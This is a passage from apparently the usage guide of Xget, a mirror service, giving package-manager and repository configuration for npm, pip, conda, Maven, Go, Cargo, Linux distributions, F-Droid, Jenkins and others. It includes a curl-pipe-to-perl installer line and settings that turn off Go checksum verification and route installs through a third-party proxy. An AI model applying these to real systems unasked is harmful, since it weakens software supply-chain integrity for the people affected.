{output_path}\")\n\n# Usage example\nmodel_id = 7240  # Example model ID\nmodel_info = get_model_info(model_id)\nprint(f\"Model name: {model_info['name']}\")\n\n# Download first model version\nif model_info['modelVersions']:\n    version_id = model_info['modelVersions'][0]['id']\n    download_model(version_id, f\"model_{version_id}.safetensors\")\n```\n\n### npm Package Acceleration\n\n#### Configure npm to Use Xget Mirror\n\n```bash\n# Temporarily use Xget mirror\nnpm install --registry https://xget.xi-xu.me/npm/\n\n# Globally configure npm mirror\nnpm config set registry https://xget.xi-xu.me/npm/\n\n# Verify configuration\nnpm config get registry\n```\n\n#### Configure Bun to Use Xget Mirror\n\n```toml\n# bunfig.toml (project-level) or ~/.bunfig.toml (global)\n[install]\nregistry = \"https://xget.xi-xu.me/npm/\"\n```\n\n```bash\n# Install dependencies with Bun\nbun install\n\n# Bun also supports .npmrc, so you can reuse existing npm registry settings\necho \"registry=https://xget.xi-xu.me/npm/\" > .npmrc\nbun install\n```\n\n#### Use in Project (npm / Bun)\n\n```bash\n# Configure project-level mirror in .npmrc (.npmrc can be reused by npm / Bun)\necho \"registry=https://xget.xi-xu.me/npm/\" > .npmrc\n\n# Install dependencies with npm\nnpm install\n\n# Install dependencies with Bun\nbun install\n```\n\n### Python Package Acceleration\n\n#### Configure pip to Use Xget Mirror\n\n```bash\n# Temporarily use Xget mirror\npip install requests -i https://xget.xi-xu.me/pypi/simple/\n\n# Globally configure pip mirror\npip config set global.index-url https://xget.xi-xu.me/pypi/simple/\npip config set global.trusted-host xget.xi-xu.me\n\n# Verify configuration\npip config list\n```\n\n#### Use in Project\n\n```bash\n# Create pip.conf file (Linux/macOS)\nmkdir -p ~/.pip\ncat > ~/.pip/pip.conf << EOF\n[global]\nindex-url = https://xget.xi-xu.me/pypi/simple/\ntrusted-host = xget.xi-xu.me\nEOF\n\n# Or create pip.conf in project root directory\ncat > pip.conf << EOF\n[global]\nindex-url = https://xget.xi-xu.me/pypi/simple/\ntrusted-host = xget.xi-xu.me\nEOF\n\n# Install using configuration file\npip install -r requirements.txt --config-file pip.conf\n```\n\n#### Specify Mirror in requirements.txt\n\n```txt\n# requirements.txt\n--index-url https://xget.xi-xu.me/pypi/simple/\n--trusted-host xget.xi-xu.me\n\nrequests>=2.25.0\nnumpy>=1.21.0\npandas>=1.3.0\nmatplotlib>=3.4.0\n```\n\n### conda Package Acceleration\n\n#### Configure conda to Use Xget Mirror\n\n```bash\n# Configure default channel mirrors\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r\nconda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main\n\n# Configure all community channel mirrors (recommended)\nconda config --set channel_alias https://xget.xi-xu.me/conda/community\n\n# Or configure specific community channels\nconda config --add channels https://xget.xi-xu.me/conda/community/conda-forge\nconda config --add channels https://xget.xi-xu.me/conda/community/bioconda\n\n# Set channel priority\nconda config --set channel_priority strict\n\n# Verify configuration\nconda config --show\n```\n\n#### Configure in .condarc\n\nThe .condarc file can be placed in the user home directory (`~/.condarc`) or\nproject root directory:\n\n```yaml\ndefault_channels:\n  - https://xget.xi-xu.me/conda/pkgs/main\n  - https://xget.xi-xu.me/conda/pkgs/r\n  - https://xget.xi-xu.me/conda/pkgs/msys2\nchannel_alias: https://xget.xi-xu.me/conda/community\nchannel_priority: strict\nshow_channel_urls: true\n```\n\n#### Use Environment File\n\nThe environment file can directly specify complete mirror URLs:\n\n```yaml\n# environment.yml\nname: myproject\nchannels:\n  - https://xget.xi-xu.me/conda/pkgs/main\n  - https://xget.xi-xu.me/conda/pkgs/r\n  - https://xget.xi-xu.me/conda/community/bioconda\n  - https://xget.xi-xu.me/conda/community/conda-forge\ndependencies:\n  - python=3.11\n  - numpy>=1.24.0\n  - pandas>=2.0.0\n  - matplotlib>=3.7.0\n  - scipy>=1.10.0\n  - pip\n  - pip:\n      - requests>=2.28.0\n```\n\n```bash\n# Create environment using environment file\nconda env create -f environment.yml\n\n# Update environment\nconda env update -f environment.yml\n```\n\n### Maven Package Acceleration\n\n#### Configure Maven to Use Xget Mirror\n\n```xml\n<!-- Configure Maven mirror in ~/.m2/settings.xml -->\n<settings>\n  <mirrors>\n    <mirror>\n      <id>xget-maven-central</id>\n      <mirrorOf>central</mirrorOf>\n      <name>Xget Maven Central Mirror</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </mirror>\n  </mirrors>\n</settings>\n```\n\n#### Use in Project\n\n```xml\n<!-- Configure project-level mirror in pom.xml -->\n<project>\n  <repositories>\n    <repository>\n      <id>xget-maven-central</id>\n      <name>Xget Maven Central</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </repository>\n  </repositories>\n\n  <pluginRepositories>\n    <pluginRepository>\n      <id>xget-maven-central</id>\n      <name>Xget Maven Central</name>\n      <url>https://xget.xi-xu.me/maven/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n</project>\n```\n\n```bash\n# Specify mirror using command line\nmvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2\n\n# Download specific dependency\nmvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \\\n  -DremoteRepositories=https://xget.xi-xu.me/maven/maven2\n```\n\n### Apache Software Download Acceleration\n\n#### Download Apache Software Using Xget\n\n```bash\n# Download Apache Kafka\nwget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# Download Apache Maven\ncurl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# Download Apache Spark\naria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n\n# Download Apache Hadoop\nwget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz\n\n# Download Apache Flink\ncurl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz\n```\n\n#### Common Apache Software Downloads\n\n```bash\n# Big data related\nwget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz\nwget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz\nwget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz\n\n# Web servers\nwget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz\nwget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz\n\n# Development tools\nwget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz\nwget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip\n```\n\n### Gradle Package Acceleration\n\n#### Configure Gradle to Use Xget Mirror\n\n```gradle\n// Configure Gradle mirror in build.gradle\nrepositories {\n    maven {\n        url 'https://xget.xi-xu.me/maven/maven2'\n    }\n    gradlePluginPortal {\n        url 'https://xget.xi-xu.me/gradle/m2'\n    }\n}\n\n// Configure plugin repositories\npluginManagement {\n    repositories {\n        maven {\n            url 'https://xget.xi-xu.me/gradle/m2'\n        }\n        gradlePluginPortal()\n    }\n}\n```\n\n#### Global Configuration\n\n```gradle\n// Configure global mirror in ~/.gradle/init.gradle\nallprojects {\n    repositories {\n        maven {\n            url 'https://xget.xi-xu.me/maven/maven2'\n        }\n    }\n}\n\nsettingsEvaluated { settings ->\n    settings.pluginManagement {\n        repositories {\n            maven {\n                url 'https://xget.xi-xu.me/gradle/m2'\n            }\n            gradlePluginPortal()\n        }\n    }\n}\n```\n\n```bash\n# Specify mirror using command line\ngradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2\n\n# Refresh dependencies\ngradle build --refresh-dependencies\n```\n\n### Homebrew Package Acceleration\n\n#### Configure Homebrew to Use Xget Mirror\n\n```bash\n# Set Homebrew environment variables to use Xget mirror\nexport HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"\nexport HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"\nexport HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"\nexport HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"\n\n# Update Homebrew\nbrew update\n```\n\n#### Long-term Configuration\n\n```bash\n# For bash users, add to ~/.bash_profile\necho 'export HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"' >> ~/.bash_profile\necho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"' >> ~/.bash_profile\necho 'export HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"' >> ~/.bash_profile\necho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"' >> ~/.bash_profile\n\n# For zsh users, add to ~/.zprofile\necho 'export HOMEBREW_BREW_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/brew.git\"' >> ~/.zprofile\necho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://xget.xi-xu.me/homebrew/homebrew-core.git\"' >> ~/.zprofile\necho 'export HOMEBREW_API_DOMAIN=\"https://xget.xi-xu.me/homebrew/api\"' >> ~/.zprofile\necho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://xget.xi-xu.me/homebrew/bottles\"' >> ~/.zprofile\n```\n\n#### Use in Project\n\n```bash\n# Install packages\nbrew install git\n\n# Search packages\nbrew search python\n\n# Update packages\nbrew upgrade\n\n# View installed packages\nbrew list\n```\n\n#### Verify Mirror Configuration\n\n```bash\n# Check Homebrew configuration\nbrew config\n\n# View environment variables\necho $HOMEBREW_API_DOMAIN\necho $HOMEBREW_BOTTLE_DOMAIN\n```\n\n### Ruby Package Acceleration\n\n#### Configure RubyGems to Use Xget Mirror\n\n```bash\n# Temporarily use Xget mirror\ngem install rails --source https://xget.xi-xu.me/rubygems/\n\n# Globally configure RubyGems mirror\ngem sources --add https://xget.xi-xu.me/rubygems/\ngem sources --remove https://rubygems.org/\n\n# Verify configuration\ngem sources -l\n```\n\n#### Use in Project\n\n```ruby\n# Configure project-level mirror in Gemfile\nsource 'https://xget.xi-xu.me/rubygems/'\n\ngem 'rails', '~> 7.0.0'\ngem 'pg', '~> 1.1'\ngem 'puma', '~> 5.0'\n```\n\n```bash\n# Install using bundle\nbundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/\nbundle install\n```\n\n### R Package Acceleration\n\n#### Configure R to Use Xget CRAN Mirror\n\n```r\n# Temporarily use Xget CRAN mirror in R\ninstall.packages(\"ggplot2\", repos = \"https://xget.xi-xu.me/cran/\")\n\n# Globally configure CRAN mirror\noptions(repos = c(CRAN = \"https://xget.xi-xu.me/cran/\"))\n\n# Verify configuration\ngetOption(\"repos\")\n```\n\n#### Configure in .Rprofile\n\n```r\n# Configure global mirror in .Rprofile file in user home directory\noptions(repos = c(\n  CRAN = \"https://xget.xi-xu.me/cran/\",\n  BioCsoft = \"https://bioconductor.org/packages/release/bioc\",\n  BioCann = \"https://bioconductor.org/packages/release/data/annotation\",\n  BioCexp = \"https://bioconductor.org/packages/release/data/experiment\"\n))\n\n# Set download method\noptions(download.file.method = \"libcurl\")\n```\n\n#### Use in Project\n\n```r\n# Specify mirror in project's renv.lock or script\nrenv::init()\nrenv::settings$repos.override(c(CRAN = \"https://xget.xi-xu.me/cran/\"))\n\n# Install packages\ninstall.packages(c(\"dplyr\", \"ggplot2\", \"tidyr\"))\n\n# Or use pak package manager\npak::pkg_install(\"tidyverse\", repos = \"https://xget.xi-xu.me/cran/\")\n```\n\n```bash\n# Install packages using R script in command line\nRscript -e \"options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')\"\n\n# Batch install packages\nRscript -e \"\noptions(repos = c(CRAN = 'https://xget.xi-xu.me/cran/'))\npackages <- c('dplyr', 'ggplot2', 'tidyr', 'readr')\ninstall.packages(packages)\n\"\n```\n\n### Perl Package Acceleration\n\n#### Configure CPAN to Use Xget Mirror\n\n```bash\n# Configure CPAN to use Xget mirror\ncpan o conf urllist push https://xget.xi-xu.me/cpan/\ncpan o conf commit\n\n# Or directly edit configuration file ~/.cpan/CPAN/MyConfig.pm\n# Add:\n# 'urllist' => [q[https://xget.xi-xu.me/cpan/]],\n```\n\n#### Use cpanm to Install Modules\n\n```bash\n# Install cpanm (if not available)\ncurl -L https://cpanmin.us | perl - --sudo App::cpanminus\n\n# Install modules using Xget mirror\ncpanm --mirror https://xget.xi-xu.me/cpan/ DBI\ncpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious\n\n# Install dependencies from Makefile.PL\ncpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .\n```\n\n#### Use in Project\n\n```perl\n# List dependencies in cpanfile\nrequires 'DBI';\nrequires 'Mojolicious';\nrequires 'JSON';\n\n# Then install using Xget mirror\ncpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps .\n```\n\n### TeX/LaTeX Package Acceleration\n\n#### Configure TeX Live to Use Xget CTAN Mirror\n\n```bash\n# Configure tlmgr to use Xget CTAN mirror\ntlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet\n\n# Update package database\ntlmgr update --self --all\n\n# Install packages\ntlmgr install beamer\ntlmgr install tikz\n```\n\n#### Configure MiKTeX to Use Xget Mirror\n\n```bash\n# Windows MiKTeX configuration\nmpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex\n\n# Update package database\nmpm --update-db\n\n# Install packages\nmpm --install=beamer\nmpm --install=pgf\n```\n\n#### Use in Project\n\n```bash\n# Automatically install missing packages during LaTeX document compilation\npdflatex --shell-escape document.tex\n\n# Or manually install specific packages\ntlmgr install caption\ntlmgr install subcaption\ntlmgr install algorithm2e\n```\n\n### Go Module Acceleration\n\n#### Configure Go to Use Xget Proxy\n\n```bash\n# Configure Go module proxy\nexport GOPROXY=https://xget.xi-xu.me/golang,direct\nexport GOSUMDB=off\n\n# Or permanently configure\ngo env -w GOPROXY=https://xget.xi-xu.me/golang,direct\ngo env -w GOSUMDB=off\n\n# Verify configuration\ngo env GOPROXY\n```\n\n#### Use in Project\n\n```bash\n# Download dependencies\ngo mod download\n\n# Update dependencies\ngo get -u ./...\n\n# Clean module cache\ngo clean -modcache\n```\n\n### NuGet Package Acceleration\n\n#### Configure NuGet to Use Xget Mirror\n\n```bash\n# Add Xget package source\ndotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget\n\n# List package sources\ndotnet nuget list source\n\n# Use in project\ndotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json\n```\n\n#### Configure in NuGet.Config\n\n```xml\n<!-- NuGet.Config -->\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n  <packageSources>\n    <add key=\"xget\" value=\"https://xget.xi-xu.me/nuget/v3/index.json\" />\n  </packageSources>\n</configuration>\n```\n\n### Rust Package Acceleration\n\n#### Configure Cargo to Use Xget Mirror\n\n```bash\n# Configure Cargo to use Xget mirror (in ~/.cargo/config.toml)\nmkdir -p ~/.cargo\ncat >> ~/.cargo/config.toml << EOF\n[source.crates-io]\nreplace-with = \"xget\"\n\n[source.xget]\nregistry = \"https://xget.xi-xu.me/crates/\"\nEOF\n\n# Verify configuration\ncargo search serde\n```\n\n#### Use in Project\n\n```toml\n# Can use dependencies normally in Cargo.toml\n[dependencies]\nserde = \"1.0\"\ntokio = \"1.0\"\nreqwest = \"0.11\"\n```\n\n```bash\n# Xget will be automatically used when building the project\ncargo build\n\n# Update dependencies\ncargo update\n\n# Add new dependency\ncargo add clap\n```\n\n### PHP Package Acceleration\n\n#### Configure Composer to Use Xget Mirror\n\n```bash\n# Globally configure Composer mirror\ncomposer config -g repo.packagist composer https://xget.xi-xu.me/packagist/\n\n# Project-level configuration\ncomposer config repo.packagist composer https://xget.xi-xu.me/packagist/\n\n# Verify configuration\ncomposer config -l\n```\n\n#### Configure in composer.json\n\n```json\n{\n  \"repositories\": [\n    {\n      \"type\": \"composer\",\n      \"url\": \"https://xget.xi-xu.me/packagist/\"\n    }\n  ],\n  \"require\": {\n    \"symfony/console\": \"^6.0\",\n    \"guzzlehttp/guzzle\": \"^7.0\"\n  }\n}\n```\n\n### Flathub Repository Mirror\n\n#### Configure Flatpak / Flathub to Use Xget Mirror\n\n```bash\n# If Flathub has not been added before, import the official descriptor\n# first so Flatpak trusts the Flathub signing key.\nflatpak remote-add --if-not-exists flathub \\\n  https://dl.flathub.org/repo/flathub.flatpakrepo\n\n# Then repoint the existing Flathub remote to the Xget mirror\nflatpak remote-modify flathub \\\n  --url=https://xget.xi-xu.me/flathub/repo/\n\n# Restore the default upstream when needed\nflatpak remote-modify flathub \\\n  --url=https://dl.flathub.org/repo/\n```\n\nXget mirrors the Flathub OSTree repository endpoint. On current Flatpak clients,\nimporting a mirrored `.flatpakrepo` descriptor or adding the mirrored repository\ndirectly may still fall back to the upstream Flathub URL or fail to import the\nsigning key, so `flatpak remote-modify ... --url=...` is the reliable setup. For\nsystem-wide remotes, run the same commands with `sudo`.\n\n#### Supported Flathub Services\n\n```url\n# OSTree repository metadata\nhttps://xget.xi-xu.me/flathub/repo/config\nhttps://xget.xi-xu.me/flathub/repo/summary\nhttps://xget.xi-xu.me/flathub/repo/summary.sig\nhttps://xget.xi-xu.me/flathub/repo/summary.idx\nhttps://xget.xi-xu.me/flathub/repo/summaries/...\n\n# Flatpak remote descriptor\nhttps://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo\n\n# App reference descriptor\nhttps://xget.xi-xu.me/flathub/repo/appstream/[app-id].flatpakref\n\n# Repository objects and static deltas\nhttps://xget.xi-xu.me/flathub/repo/objects/...\nhttps://xget.xi-xu.me/flathub/repo/deltas/...\nhttps://xget.xi-xu.me/flathub/repo/delta-indexes/...\n```\n\n#### Usage Examples\n\n```bash\n# Verify that the saved remote URL now points to Xget\nflatpak remotes --show-details\n\n# Inspect remote contents\nflatpak remote-ls flathub\n\n# Install an app after repointing the Flathub remote\nflatpak install flathub org.gnome.gedit\n\n# Install directly from a rewritten .flatpakref\nflatpak install --from \\\n  https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref\n\n# Print libcurl HTTP traces when troubleshooting\nOSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub\n\n# Update installed apps and runtimes\nflatpak update\n```\n\n### Linux Distribution Acceleration\n\n#### Debian/Ubuntu APT Configuration\n\n```bash\n# Backup original source list\nsudo cp /etc/apt/sources.list /etc/apt/sources.list.backup\n\n# Configure Debian mirror\necho \"deb https://xget.xi-xu.me/debian/debian bookworm main\" | sudo tee /etc/apt/sources.list\necho \"deb https://xget.xi-xu.me/debian/debian-security bookworm-security main\" | sudo tee -a /etc/apt/sources.list\n\n# Configure Ubuntu mirror\necho \"deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse\" | sudo tee /etc/apt/sources.list\necho \"deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse\" | sudo tee -a /etc/apt/sources.list\n\n# Update package list\nsudo apt update\n```\n\n#### Fedora DNF Configuration\n\n```bash\n# Configure Fedora mirror\nsudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo\nsudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo\n\n# Update package cache\nsudo dnf makecache\n```\n\n#### Rocky Linux DNF Configuration\n\n```bash\n# Configure Rocky Linux mirror\nsudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo\nsudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo\n\n# Update package cache\nsudo dnf makecache\n```\n\n#### openSUSE Zypper Configuration\n\n```bash\n# Configure openSUSE Leap mirror\nsudo zypper mr -d repo-oss\nsudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget\n\n# Configure openSUSE Tumbleweed mirror\nsudo zypper mr -d repo-oss\nsudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget\n\n# Refresh software sources\nsudo zypper refresh\n\n# Verify configuration\nsudo zypper lr -u\n```\n\n#### Arch Linux Pacman Configuration\n\n```bash\n# Backup original mirror list\nsudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup\n\n# Configure Arch Linux mirror\necho 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist\n\n# Update package database\nsudo pacman -Sy\n```\n\n### Academic Resource Acceleration\n\n#### arXiv Paper Download\n\n```bash\n# Download arXiv paper PDF\nwget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf\n\n# Download paper source\ncurl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041\n\n# Batch download multiple papers\nfor id in 2301.07041 2302.13971 2303.08774; do\n  wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf\ndone\n```\n\n#### Use in Academic Tools\n\n```python\n# Use arXiv accelerated download in Python\nimport requests\n\ndef download_arxiv_paper(arxiv_id, output_path):\n    url = f\"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf\"\n    response = requests.get(url)\n\n    if response.status_code == 200:\n        with open(output_path, 'wb') as f:\n            f.write(response.content)\n        print(f\"Downloaded {arxiv_id} to {output_path}\")\n    else:\n        print(f\"Failed to download {arxiv_id}\")\n\n# Download paper\ndownload_arxiv_paper(\"2301.07041\", \"attention_is_all_you_need.pdf\")\n```\n\n### F-Droid Repository Mirror\n\n#### Configure F-Droid Client to Use Xget Mirror\n\n1. In F-Droid app, go to **Settings** → **Repositories**\n2. Click **+** and enter repository URL: `https://xget.xi-xu.me/fdroid/repo`\n3. Click **Add** then click **Add Mirror**\n\n#### Supported F-Droid Services\n\n```url\n# F-Droid app APK download\nhttps://xget.xi-xu.me/fdroid/repo/[package-name]_[version-code].apk\n\n# F-Droid repository index\nhttps://xget.xi-xu.me/fdroid/repo/index-v1.jar\n\n# F-Droid app icons\nhttps://xget.xi-xu.me/fdroid/repo/icons-640/[package-name].[version-code].png\n\n# F-Droid API endpoints\nhttps://xget.xi-xu.me/fdroid/api/v1/packages/[package-name]\n```\n\n#### Usage Examples\n\n```bash\n# Directly download F-Droid client APK\nwget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk\n\n# Download other open source apps\ncurl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk\n\n# Get app information\ncurl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid\n```\n\n#### Batch App Management\n\n```bash\n# Create app download script\ncat > download_fdroid_apps.sh << 'EOF'\n#!/bin/bash\n\n# Define list of apps to download\napps=(\n    \"org.fdroid.fdroid_1016050.apk\"\n    \"org.mozilla.fennec_fdroid_1014000.apk\"\n    \"com.termux_1180.apk\"\n    \"org.videolan.vlc_13050399.apk\"\n)\n\n# Create download directory\nmkdir -p fdroid_apps\n\n# Batch download apps\nfor app in \"${apps[@]}\"; do\n    echo \"Downloading: $app\"\n    wget -P fdroid_apps \"https://xget.xi-xu.me/fdroid/repo/$app\"\ndone\n\necho \"All apps downloaded!\"\nEOF\n\nchmod +x download_fdroid_apps.sh\n./download_fdroid_apps.sh\n```\n\n#### Developer Integration\n\nFor Android developers, F-Droid mirror can be integrated into build scripts:\n\n```gradle\n// Configure F-Droid dependency check in build.gradle\ntask checkFDroidAvailability {\n    doLast {\n        def fdroidUrl = \"https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}\"\n        try {\n            def connection = new URL(fdroidUrl).openConnection()\n            connection.requestMethod = 'GET'\n            def responseCode = connection.responseCode\n            if (responseCode == 200) {\n                println \"App available on F-Droid: $fdroidUrl\"\n            }\n        } catch (Exception e) {\n            println \"Error checking F-Droid availability: ${e.message}\"\n        }\n    }\n}\n```\n\n### Jenkins Plugin Download\n\n#### Use Xget to Accelerate Jenkins Plugin Download and Update\n\nSupports Jenkins update center and plugin downloads, compatible with\nconfiguration methods of domestic mirrors like Tsinghua mirror.\n\n#### Jenkins Update Center Configuration\n\n##### Method 1: Configure in Jenkins Web Interface\n\n1. Log in to Jenkins management interface\n2. Go to **Manage Jenkins** → **Plugins** → **Advanced**\n3. In the **Update Site** section, change the URL to\n   `https://xget.xi-xu.me/jenkins/update-center.json`\n4. Click **Submit** to save configuration\n\n##### Method 2: Modify Configuration File\n\n```bash\n# Modify update center configuration file on Jenkins server\n# Default location: $JENKINS_HOME/hudson.model.UpdateCenter.xml\nsudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml\n\n# Change URL to:\n# <url>https://xget.xi-xu.me/jenkins/update-center.json</url>\n\n# Restart Jenkins service\nsudo systemctl restart jenkins\n```\n\n#### Supported Jenkins Services\n\n```url\n# Jenkins update center JSON\nhttps://xget.xi-xu.me/jenkins/update-center.json\n\n# Jenkins update center (actual JSON format)\nhttps://xget.xi-xu.me/jenkins/update-center.actual.json\n\n# Jenkins plugin download\nhttps://xget.xi-xu.me/jenkins/download/plugins/[plugin-name]/[version]/[plugin-name].hpi\n\n# Experimental plugin update center\nhttps://xget.xi-xu.me/jenkins/experimental/update-center.json\n```\n\n#### Usage Examples\n\n```bash\n# Download Maven plugin\nwget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n\n# Download Git plugin\ncurl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi\n\n# Get update center information\ncurl https://xget.xi-xu.me/jenkins/update-center.json\n\n# Batch download common plugins\ncat > download_jenkins_plugins.sh << 'EOF'\n#!/bin/bash\n\n# Define list of plugins to download\nplugins=(\n    \"git:5.2.1\"\n    \"maven-plugin:3.27\"\n    \"workflow-aggregator:596.v8c21c963d92d\"\n    \"blueocean:1.27.8\"\n    \"docker-workflow:563.vd5d2e5c4007f\"\n)\n\n# Create plugin download directory\nmkdir -p jenkins_plugins\n\n# Batch download plugins\nfor plugin in \"${plugins[@]}\"; do\n    name=$(echo $plugin | cut -d: -f1)\n    version=$(echo $plugin | cut -d: -f2)\n    echo \"Downloading plugin: $name v$version\"\n    wget -P jenkins_plugins \"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi\"\ndone\n\necho \"All plugins downloaded!\"\nEOF\n\nchmod +x download_jenkins_plugins.sh\n./download_jenkins_plugins.sh\n```\n\n#### Offline Jenkins Deployment\n\nFor Jenkins deployment in offline environments:\n\n```bash\n# 1. Download Jenkins core file\nwget https://xget.xi-xu.me/jenkins/war/jenkins.war\n\n# 2. Create plugin packaging script\ncat > prepare_jenkins_offline.sh << 'EOF'\n#!/bin/bash\n\n# Create offline deployment directory structure\nmkdir -p jenkins_offline/{plugins,update_center}\n\n# Download update center configuration\ncurl -o jenkins_offline/update_center/update-center.json \\\n    https://xget.xi-xu.me/jenkins/update-center.json\n\n# Essential plugins list\nessential_plugins=(\n    \"ant:475.vf34069fef73c\"\n    \"build-timeout:1.31\"\n    \"credentials:1319.v7eb_51b_3a_c97b_\"\n    \"git:5.2.1\"\n    \"github:1.38.0\"\n    \"gradle:2.8.2\"\n    \"ldap:682.v7b_544c9d1512\"\n    \"mailer:463.vedf8358e006b_\"\n    \"matrix-auth:3.2.2\"\n    \"maven-plugin:3.27\"\n    \"pam-auth:1.10\"\n    \"pipeline-stage-view:2.34\"\n    \"ssh-slaves:2.973.v0fa_8c0dea_f9f\"\n    \"timestamper:1.26\"\n    \"workflow-aggregator:596.v8c21c963d92d\"\n    \"ws-cleanup:0.45\"\n)\n\n# Download all essential plugins\nfor plugin in \"${essential_plugins[@]}\"; do\n    name=$(echo $plugin | cut -d: -f1)\n    version=$(echo $plugin | cut -d: -f2)\n    echo \"Downloading $name:$version\"\n    wget -P jenkins_offline/plugins \\\n        \"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi\"\ndone\n\n# Create deployment instructions\ncat > jenkins_offline/deploy_instructions.md << 'DEPLOY'\n# Jenkins Offline Deployment Instructions\n\n1. Copy jenkins.war to target server\n2. Start Jenkins: java -jar jenkins.war\n3. Copy .hpi files from plugins/ directory to $JENKINS_HOME/plugins/\n4. Restart Jenkins\nDEPLOY\n\necho \"Offline deployment package prepared!\"\nEOF\n\nchmod +x prepare_jenkins_offline.sh\n./prepare_jenkins_offline.sh\n```\n\n#### Use in Project\n\n##### Plugin Check in Jenkinsfile\n\n```groovy\npipeline {\n    agent any\n\n    stages {\n        stage('Check Plugin Availability') {\n            steps {\n                script {\n                    // Check Maven plugin availability\n                    def pluginUrl = \"https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\"\n\n                    try {\n                        def response = httpRequest url: pluginUrl, httpMode: 'HEAD'\n                        if (response.status == 200) {\n                            echo \"Maven plugin available: ${pluginUrl}\"\n                        }\n                    } catch (Exception e) {\n                        error \"Maven plugin not available: ${e.message}\"\n                    }\n                }\n            }\n        }\n\n        stage('Build') {\n            steps {\n                // Your build steps\n                echo \"Building with accelerated plugins...\"\n            }\n        }\n    }\n}\n```\n\n### Container Image Acceleration\n\n#### Pull Images Directly\n\n```bash\n# Pull GitHub Container Registry images\ndocker pull 